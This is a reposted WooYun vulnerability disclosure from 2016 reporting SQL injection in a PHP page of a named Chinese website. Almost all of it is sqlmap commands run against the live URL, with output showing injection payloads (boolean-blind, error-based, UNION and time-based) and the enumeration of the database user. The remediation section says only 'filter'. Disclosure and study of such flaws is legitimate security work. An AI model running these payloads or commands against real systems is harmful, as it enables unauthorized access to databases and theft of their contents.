长城小站存在SQL注入 admin 140488文章 117评论 2017年3月28日18:04:22评论329 views字数 231阅读0分46秒阅读模式 摘要2016-03-23: 积极联系厂商并且等待厂商认领中,细节不对外公开 2016-05-07: 厂商已经主动忽略漏洞,细节向公众公开 漏洞概要 关注数(0) 关注此漏洞 缺陷编号: WooYun-2016-187954 漏洞标题: 长城小站存在SQL注入 相关厂商: www.thegreatwall.com.cn 漏洞作者: Xenon 提交时间: 2016-03-23 11:02 公开时间: 2016-05-07 11:02 漏洞类型: SQL注射漏洞 危害等级: 高 自评Rank: 20 漏洞状态: 未联系到厂商或者厂商积极忽略 漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系 Tags标签: php+数字类型注射 0人收藏 漏洞详情 披露状态: 2016-03-23: 积极联系厂商并且等待厂商认领中,细节不对外公开 2016-05-07: 厂商已经主动忽略漏洞,细节向公众公开 简要描述: RT 详细说明: 风铃安全团队 漏洞证明: code 区域 注入点:http://www.thegreatwall.com.cn/zhuanti/victory60/showcontent.php?id=41475 code 区域 [~]# Sqlmap -u "http://www.thegreatwall.com.cn/zhuanti/victory60/show content.php?id=41475" -D lik37b1_db --tables sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at 23:12:02 [23:12:02] [INFO] resuming back-end DBMS 'mysql' [23:12:02] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --- Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=41475' AND 9727=9727 AND 'eLgQ'='eLgQ Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=41475' AND (SELECT 8301 FROM(SELECT COUNT(*),CONCAT(0x3a776c783a ,(SELECT (CASE WHEN (8301=8301) THEN 1 ELSE 0 END)),0x3a776b623a,FLOOR(RAND(0)*2 ))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ipNx'='ipNx Type: UNION query Title: MySQL UNION query (NULL) - 20 columns Payload: id=41475' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a776c783a,0x6e6c587766767246 5555,0x3a776b623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=41475' AND SLEEP(5) AND 'xFTO'='xFTO --- [23:12:03] [INFO] the back-end DBMS is MySQL web application technology: PHP 5.3.3, Apache back-end DBMS: MySQL 5.0 [23:12:03] [INFO] fetching tables for database: 'lik37b1_db' [23:12:03] [INFO] fetching number of tables for database 'lik37b1_db' [23:12:03] [WARNING] running in a single-thread mode. Please consider usage of o ption '--threads' for faster data retrieval [23:12:03] [INFO] retrieved: 0 [23:12:05] [WARNING] unable to retrieve the number of tables for database 'lik37 b1_db' [23:12:05] [ERROR] unable to retrieve the table names for any database do you want to use common table existence check? [y/N/q] No tables found [23:12:06] [WARNING] cannot properly display Unicode characters inside Windows O S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi ll result in replacement with '?' character. Please, find proper character repre sentation inside corresponding output files. [23:12:06] [INFO] fetched data logged to text files under 'F:/Y??~1/tools/????/S QLMAP~2/Bin/output/www.thegreatwall.com.cn' [*] shutting down at 23:12:06 [~]# Sqlmap -u "http://www.thegreatwall.com.cn/zhuanti/victory60/show content.php?id=41475" --users sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at 23:13:22 [23:13:22] [INFO] resuming back-end DBMS 'mysql' [23:13:22] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --- Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=41475' AND 9727=9727 AND 'eLgQ'='eLgQ Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=41475' AND (SELECT 8301 FROM(SELECT COUNT(*),CONCAT(0x3a776c783a ,(SELECT (CASE WHEN (8301=8301) THEN 1 ELSE 0 END)),0x3a776b623a,FLOOR(RAND(0)*2 ))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ipNx'='ipNx Type: UNION query Title: MySQL UNION query (NULL) - 20 columns Payload: id=41475' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a776c783a,0x6e6c587766767246 5555,0x3a776b623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=41475' AND SLEEP(5) AND 'xFTO'='xFTO --- [23:13:23] [INFO] the back-end DBMS is MySQL web application technology: PHP 5.3.3, Apache back-end DBMS: MySQL 5.0 [23:13:23] [INFO] fetching database users [23:13:24] [INFO] the SQL query used returns 1 entries [23:13:24] [INFO] retrieved: "'luk37b1'@'localhost'" database management system users [1]: [*] 'luk37b1'@'localhost' [23:13:25] [WARNING] cannot properly display Unicode characters inside Windows O S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi ll result in replacement with '?' character. Please, find proper character repre sentation inside corresponding output files. [23:13:25] [INFO] fetched data logged to text files under 'F:/Y??~1/tools/????/S QLMAP~2/Bin/output/www.thegreatwall.com.cn' 修复方案: 过滤 版权声明:转载请注明来源 Xenon@乌云 漏洞回应 厂商回应: 未能联系到厂商或者厂商积极拒绝 漏洞Rank:15 (WooYun评价) 漏洞评价: 对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值 漏洞评价(共0人评价): 登陆后才能进行评分 评价 免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。 点赞 https://cn-sec.com/archives/8659.html 复制链接 复制链接 左青龙 微信扫一扫 右白虎 微信扫一扫
评论